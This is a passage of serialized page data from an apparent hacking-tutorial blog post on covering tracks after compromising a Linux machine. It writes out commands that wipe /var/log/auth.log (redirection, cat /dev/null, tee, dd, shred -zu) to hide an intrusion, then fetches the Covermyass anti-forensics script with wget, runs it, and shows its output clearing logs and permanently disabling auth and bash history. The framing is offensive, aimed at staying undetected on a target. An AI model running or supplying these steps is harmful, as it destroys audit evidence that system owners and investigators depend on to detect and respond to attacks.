file:",[74,1116,1118],{"code":1117,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# > \u002Fvar\u002Flog\u002Fauth.log\n",[81,1119,1120],{},[84,1121,1122,1124,1126],{"class":86,"line":87},[84,1123,91],{"class":90},[84,1125,953],{"class":114},[84,1127,1055],{"class":94},[43,1129,1130],{},"We can also send it to \u002Fdev\u002Fnull:",[74,1132,1134],{"code":1133,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# cat \u002Fdev\u002Fnull > \u002Fvar\u002Flog\u002Fauth.log\n",[81,1135,1136],{},[84,1137,1138,1140,1142,1144,1146],{"class":86,"line":87},[84,1139,91],{"class":90},[84,1141,947],{"class":94},[84,1143,950],{"class":94},[84,1145,953],{"class":114},[84,1147,1055],{"class":94},[43,1149,1150,1151,436],{},"Or use the ",[46,1152,1153],{},"tee",[74,1155,1157],{"code":1156,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# true | tee \u002Fvar\u002Flog\u002Fauth.log\n",[81,1158,1159],{},[84,1160,1161,1163,1167,1170,1173],{"class":86,"line":87},[84,1162,91],{"class":90},[84,1164,1166],{"class":1165},"sR8n-"," true",[84,1168,1169],{"class":114}," |",[84,1171,1172],{"class":90}," tee",[84,1174,1055],{"class":94},[43,1176,974,1177,1180],{},[46,1178,1179],{},"dd"," command to write nothing to the log file:",[74,1182,1184],{"code":1183,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# dd if=\u002Fdev\u002Fnull of=\u002Fvar\u002Flog\u002Fauth.log\n0+0 records in\n0+0 records out\n0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB\u002Fs\n",[81,1185,1186,1199,1210,1219],{},[84,1187,1188,1190,1193,1196],{"class":86,"line":87},[84,1189,91],{"class":90},[84,1191,1192],{"class":94}," dd",[84,1194,1195],{"class":94}," if=\u002Fdev\u002Fnull",[84,1197,1198],{"class":94}," of=\u002Fvar\u002Flog\u002Fauth.log\n",[84,1200,1201,1204,1207],{"class":86,"line":121},[84,1202,1203],{"class":90},"0+0",[84,1205,1206],{"class":94}," records",[84,1208,1209],{"class":94}," in\n",[84,1211,1212,1214,1216],{"class":86,"line":127},[84,1213,1203],{"class":90},[84,1215,1206],{"class":94},[84,1217,1218],{"class":94}," out\n",[84,1220,1221,1224,1227,1231,1234],{"class":86,"line":133},[84,1222,1223],{"class":90},"0",[84,1225,1226],{"class":94}," bytes",[84,1228,1230],{"class":1229},"sG2Fq"," (0 ",[84,1232,1233],{"class":94},"B",[84,1235,1236],{"class":1229},") copied, 6.1494e-05 s, 0.0 kB\u002Fs\n",[43,1238,786,1239,1242],{},[46,1240,1241],{},"shred"," command can be used to overwrite a file with meaningless binary data:",[74,1244,1246],{"code":1245,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# shred \u002Fvar\u002Flog\u002Fauth.log\n",[81,1247,1248],{},[84,1249,1250,1252,1255],{"class":86,"line":87},[84,1251,91],{"class":90},[84,1253,1254],{"class":94}," shred",[84,1256,1055],{"class":94},[43,1258,1259,1260,1263],{},"We can even tack on ",[46,1261,1262],{},"-zu"," which will truncate the file and overwrite it with zeros to hide evidence of shredding:",[74,1265,1267],{"code":1266,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# shred -zu \u002Fvar\u002Flog\u002Fauth.log\n",[81,1268,1269],{},[84,1270,1271,1273,1275,1278],{"class":86,"line":87},[84,1272,91],{"class":90},[84,1274,1254],{"class":94},[84,1276,1277],{"class":101}," -zu",[84,1279,1055],{"class":94},[50,1281,1283,1286],{"id":1282},"step-5-use-a-tool-to-ensure-things-are-erased",[46,1284,1285],{},"Step 5:"," Use a Tool to Ensure Things Are Erased",[43,1288,1289,1290,1299],{},"To increase the chances that any activity on the target goes undiscovered, we can use a tool to make sure everything gets erased. ",[1291,1292,1298],"a",{"href":1293,"rel":1294,"target":1297},"https:\u002F\u002Fgithub.com\u002Fsundowndev\u002Fcovermyass?utm_source=amrelsagaei.com&utm_medium=referral",[1295,1296],"noopener","noreferrer","_blank","Covermyass","is a script that will automate much of the processes we've already covered, including clearing log files and disabling Bash history.",[43,1301,1302,1303,1306],{},"We can grab the script from GitHub using ",[46,1304,1305],{},"wget"," (assuming we have access to the internet on the target, otherwise, it will have to be transferred manually):",[74,1308,1310],{"code":1309,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# wget https:\u002F\u002Fraw.githubusercontent.com\u002Fsundowndev\u002Fcovermyass\u002Fmaster\u002Fcovermyass\n",[81,1311,1312],{},[84,1313,1314,1316,1319],{"class":86,"line":87},[84,1315,91],{"class":90},[84,1317,1318],{"class":94}," wget",[84,1320,1321],{"class":94}," https:\u002F\u002Fraw.githubusercontent.com\u002Fsundowndev\u002Fcovermyass\u002Fmaster\u002Fcovermyass\n",[43,1323,1324,1325,1328],{},"Head to a writable directory, and use ",[46,1326,1327],{},"chmod"," to make it executable:",[74,1330,1332],{"code":1331,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002Ftmp# chmod +x covermyass\n",[81,1333,1334],{},[84,1335,1336,1339,1342,1345],{"class":86,"line":87},[84,1337,1338],{"class":90},"root@kali:\u002Ftmp#",[84,1340,1341],{"class":94}," chmod",[84,1343,1344],{"class":94}," +x",[84,1346,1347],{"class":94}," covermyass\n",[43,1349,1350],{},"Then we can run it:",[74,1352,1354],{"code":1353,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002Ftmp# .\u002Fcovermyass\nWelcome to Cover my ass tool !\nSelect an option :\n1) Clear logs for user root\n2) Permenently disable auth & bash history\n3) Restore settings to default\n99) Exit tool\n>\n",[81,1355,1356,1363,1386,1400,1414,1430,1438,1446],{},[84,1357,1358,1360],{"class":86,"line":87},[84,1359,1338],{"class":90},[84,1361,1362],{"class":94}," .\u002Fcovermyass\n",[84,1364,1365,1368,1371,1374,1377,1380,1383],{"class":86,"line":121},[84,1366,1367],{"class":90},"Welcome",[84,1369,1370],{"class":94}," to",[84,1372,1373],{"class":94}," Cover",[84,1375,1376],{"class":94}," my",[84,1378,1379],{"class":94}," ass",[84,1381,1382],{"class":94}," tool",[84,1384,1385],{"class":94}," !\n",[84,1387,1388,1391,1394,1397],{"class":86,"line":127},[84,1389,1390],{"class":90},"Select",[84,1392,1393],{"class":94}," an",[84,1395,1396],{"class":94}," option",[84,1398,1399],{"class":94}," :\n",[84,1401,1402,1405,1408,1411],{"class":86,"line":133},[84,1403,1404],{"class":90},"1",[84,1406,1407],{"class":1229},") Clear logs ",[84,1409,1410],{"class":1165},"for",[84,1412,1413],{"class":1229}," user root\n",[84,1415,1416,1419,1422,1425,1428],{"class":86,"line":139},[84,1417,1418],{"class":90},"2",[84,1420,1421],{"class":1229},") Permenently disable auth ",[84,1423,1424],{"class":959},"&",[84,1426,1427],{"class":90}," bash",[84,1429,476],{"class":94},[84,1431,1432,1435],{"class":86,"line":145},[84,1433,1434],{"class":90},"3",[84,1436,1437],{"class":1229},") Restore settings to default\n",[84,1439,1440,1443],{"class":86,"line":151},[84,1441,1442],{"class":90},"99",[84,1444,1445],{"class":1229},") Exit tool\n",[84,1447,1448],{"class":86,"line":157},[84,1449,1450],{"class":114},">\n",[43,1452,1453],{},"We're given a custom prompt with a few options to choose from. Let's select the first one to clear the logs:",[74,1455,1458],{"code":1456,"language":1457,"meta":78},"> 1\n[+] \u002Fvar\u002Flog\u002Fmessages cleaned.\n[+] \u002Fvar\u002Flog\u002Fauth.log cleaned.\n[+] \u002Fvar\u002Flog\u002Fkern.log cleaned.\n[+] \u002Fvar\u002Flog\u002Fwtmp cleaned.\n[+] ~\u002F.bash_history cleaned.\n[+] History file deleted.\nReminder: your need to reload the session to see effects.\nType exit to do so.\n","text",[81,1459,1456],{},[43,1461,1462],{},"We can also disable Bash and auth history with option 2:",[74,1464,1466],{"code":1465,"language":1457,"meta":78},"> 2\n[+] Permanently sending \u002Fvar\u002Flog\u002Fauth.log to \u002Fdev\u002Fnull\n[+] Permanently sending bash_history to \u002Fdev\u002Fnull\n[+] Set HISTFILESIZE & HISTSIZE to 0\n[+] Disabled history library\nPermenently disabled bash log.\n",[81,1467,1465],{},[43,1469,1470,1471,1474],{},"And in case you need to clear everything in a hurry, simply append ",[46,1472,1473],{},"now"," to the command:",[74,1476,1478],{"code":1477,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002Ftmp# .\u002Fcovermyass now\n[+] \u002Fvar\u002Flog\u002Fmessages cleaned.\n[+] \u002Fvar\u002Flog\u002Fkern.log cleaned.\n[+] \u002Fvar\u002Flog\u002Fwtmp cleaned.\n[+] ~\u002F.bash_history cleaned.\n[+] History file deleted.\nReminder: your need to reload the session to see effects.\nType exit to do so.\n",[81,1479,1480,1490,1504,1515,1526,1540,1551,1581],{},[84,1481,1482,1484,1487],{"class":86,"line":87},[84,1483,1338],{"class":90},[84,1485,1486],{"class":94}," .\u002Fcovermyass",[84,1488,1489],{"class":94}," now\n",[84,1491,1492,1495,1498,1501],{"class":86,"line":121},[84,1493,1494],{"class":959},"[",[84,1496,1497],{"class":1229},"+",[84,1499,1500],{"class":959},"]",[84,1502,1503],{"class":1229}," \u002Fvar\u002Flog\u002Fmessages cleaned.\n",[84,1505,1506,1508,1510,1512],{"class":86,"line":127},[84,1507,1494],{"class":959},[84,1509,1497],{"class":1229},[84,1511,1500],{"class":959},[84,1513,1514],{"class":1229}," \u002Fvar\u002Flog\u002Fkern.log cleaned.\n",[84,1516,1517,1519,1521,1523],{"class":86,"line":133},[84,1518,1494],{"class":959},[84,1520,1497],{"class":1229},[84,1522,1500],{"class":959},[84,1524,1525],{"class":1229}," \u002Fvar\u002Flog\u002Fwtmp cleaned.\n",[84,1527,1528,1530,1532,1534,1537],{"class":86,"line":139},[84,1529,1494],{"class":959},[84,1531,1497],{"class":1229},[84,1533,1500],{"class":959},[84,1535,1536],{"class":114}," ~",[84,1538,1539],{"class":1229},"\u002F.bash_history cleaned.\n",[84,1541,1542,1544,1546,1548],{"class":86,"line":145},[84,1543,1494],{"class":959},[84,1545,1497],{"class":1229},[84,1547,1500],{"class":959},[84,1549,1550],{"class":1229}," History file deleted.\n",[84,1552,1553,1556,1559,1562,1564,1567,1570,1573,1575,1578],{"class":86,"line":151},[84,1554,1555],{"class":90},"Reminder:",[84,1557,1558],{"class":94}," your",[84,1560,1561],{"class":94}," need",[84,1563,1370],{"class":94},[84,1565,1566],{"class":94}," reload",[84,1568,1569],{"class":94}," the",[84,1571,1572],{"class":94}," session",[84,1574,1370],{"class":94},[84,1576,1577],{"class":94}," see",[84,1579,1580],{"class":94}," effects.\n",[84,1582,1583,1586,1589,1591,1594],{"class":86,"line":157},[84,1584,1585],{"class":90},"Type",[84,1587,1588],{"class":94}," exit",[84,1590,1370],{"class":94},[84,1592,1593],{"class":94}," do",[84,1595,1596],{"class":94}," so.\n",[43,1598,1599],{},"so, we explored various techniques used to cover tracks and remain undetected on a compromised machine. We covered ways to disable and delete Bash history, methods to clear log files, and utilized the Covermyass tool to ensure our activity on the target was wiped. There are other ways to clear certain traces of an attack, like using Metasploit, using shell scripting, or doing it on a hacked Windows machine, but the above should be everything you need for a basic Linux computer.",[43,1601,1602,1605],{},[46,1603,1604],{},"I hope you found How to Clear Logs and Bash History article helpful! If you have any questions about this guide, please leave a comment below or reach out to me on Twitter",[1291,1606,1609],{"href":1607,"rel":1608,"target":1297},"https:\u002F\u002Ftwitter.com\u002Famrelsagaei?utm_source=amrelsagaei.com&utm_medium=referral",[1295,1296],[46,1610,1611],{},"@amrelsagaei",[1613,1614,1615],"style",{},"html pre.shiki code .swzfi, html code.shiki .swzfi{--shiki-default:#80A665;--shiki-light:#59873A}html pre.shiki code .sRRDT, html code.shiki .sRRDT{--shiki-default:#C98A7D;--shiki-light:#B56959}html pre.shiki code .se4ZP, html code.shiki .se4ZP{--shiki-default:#C99076;--shiki-light:#A65E2B}html pre.shiki code .sfIIG, html code.shiki .sfIIG{--shiki-default:#CB7676;--shiki-light:#AB5959}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sUQhE, html code.shiki .sUQhE{--shiki-default:#4C9A91;--shiki-light:#2F798A}html pre.shiki code .snInM, html code.shiki .snInM{--shiki-default:#BD976A;--shiki-light:#B07D48}html pre.shiki code .somML, html code.shiki .somML{--shiki-default:#666666;--shiki-light:#999999}html pre.shiki code .s6_DI, html code.shiki .s6_DI{--shiki-default:#B8A965;--shiki-light:#998418}html pre.shiki code .sy_C3, html code.shiki .sy_C3{--shiki-default:#C98A7D77;--shiki-light:#B5695977}html pre.shiki code .sR8n-, html code.shiki .sR8n-{--shiki-default:#4D9375;--shiki-light:#1E754F}html pre.shiki code .sG2Fq, html code.shiki .sG2Fq{--shiki-default:#DBD7CAEE;--shiki-light:#393A34}",{"title":78,"searchDepth":127,"depth":127,"links":1617},[1618,1620,1622,1624,1626],{"id":52,"depth":121,"text":1619},"Step 1: Compromise a Target",{"id":65,"depth":121,"text":1621},"Step 2: Create an Easy-to-Delete Hidden Directory",{"id":454,"depth":121,"text":1623},"Step 3: Delete the Bash History",{"id":999,"depth":121,"text":1625},"Step 4: Clear the Log Files",{"id":1282,"depth":121,"text":1627},"Step 5: Use a Tool to Ensure Things Are Erased",[1629],"Linux","\u002Fimages\u002Fblog\u002Fclear-logs-and-bash-history-for-stealth\u002Fclearlogs.png","2024-01-01","How attackers wipe bash history and system logs after compromising a Linux target, the last stage of exploitation, and what defenders should watch.","md",{},"\u002Fclear-logs-and-bash-history-for-stealth",null,{"title":35,"description":1632},"clear-logs-and-bash-history-for-stealth","2025-02-05","il-DA4kNoyXe-ApYyFEZHqwyvpd99knhoDwbyZc7S-Q",{"older":1642,"newer":1646,"total":1651},{"slug":1643,"title":1644,"date":1631,"position":1645},"control-network-traffic-with-evil-limiter","Control Network Traffic with Evil Limiter!",63,{"slug":1647,"title":1648,"date":1649,"position":1650},"host-your-own-secure-website-on-the-dark-web-with-a-custom-onion-domain","Host Your Own Secure Website on the Dark Web with a Custom Onion Domain","2024-01-21",61,68,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":1653},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M7 9.667A2.667 2.667 0 0 1 9.667 7h8.666A2.667 2.667 0 0 1 21 9.667v8.666A2.667 2.667 0 0 1 18.333 21H9.667A2.667 2.667 0 0 1 7 18.333z\"\u002F>\u003Cpath d=\"M4.012 16.737A2 2 0 0 1 3 15V5c0-1.1.9-2 2-2h10c.75 0 1.158.385 1.5 1\"\u002F>\u003C\u002Fg>",1791941260611]